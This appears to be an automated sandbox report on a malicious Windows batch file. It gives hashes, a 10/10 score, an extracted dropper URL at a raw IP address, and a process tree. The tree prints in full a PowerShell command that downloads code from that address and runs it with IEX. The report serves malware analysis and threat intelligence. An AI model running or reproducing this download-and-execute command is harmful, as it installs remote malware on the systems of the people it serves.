94da60b220dfc957c34baa5386d0758c38afb21752e7bc55bf7a0ee19bd752b1 | Triage

Analysis

max time kernel
63s
max time network
82s
platform
windows10_x64
resource
win10v200430
submitted
05-05-2020 19:10

Sharing

Report Analysis Logs

General

Target

Sm5WHtYm.bat
Size

193B
MD5

89479f503f8853ef6d980710e78294c3
SHA1

816b60d4a2d1038ad57182c3356639a7f595e519
SHA256

94da60b220dfc957c34baa5386d0758c38afb21752e7bc55bf7a0ee19bd752b1
SHA512

ae9a1fb7b5f6e95e07cf2515e55dd6d4d98ae2b40af5995c645bf9c808b8326894ed1f98ebd678594f3ea259af28dffabf29419573e7923a9984a55ea419d61d

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/Sm5WHtYm

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

400 584 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 400 WerFault.exe
Token: SeBackupPrivilege 400 WerFault.exe
Token: SeDebugPrivilege 400 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe

Makes http(s) request 1 IoCs
Contacts server via http/https, possibly for C2 communication.

Processes:

description flow ioc

HTTP URL 2 http://www.msftconnecttest.com/connecttest.txt

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Sm5WHtYm.bat"
1⤵
PID:2536

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/Sm5WHtYm');Invoke-OVWRKZKGCK;Start-Sleep -s 10000"
2⤵
PID:584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:400

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/400-0-0x0000000004BC0000-0x0000000004BC1000-memory.dmp

Filesize
4KB

Download
memory/400-1-0x00000000052F0000-0x00000000052F1000-memory.dmp

Filesize
4KB

Download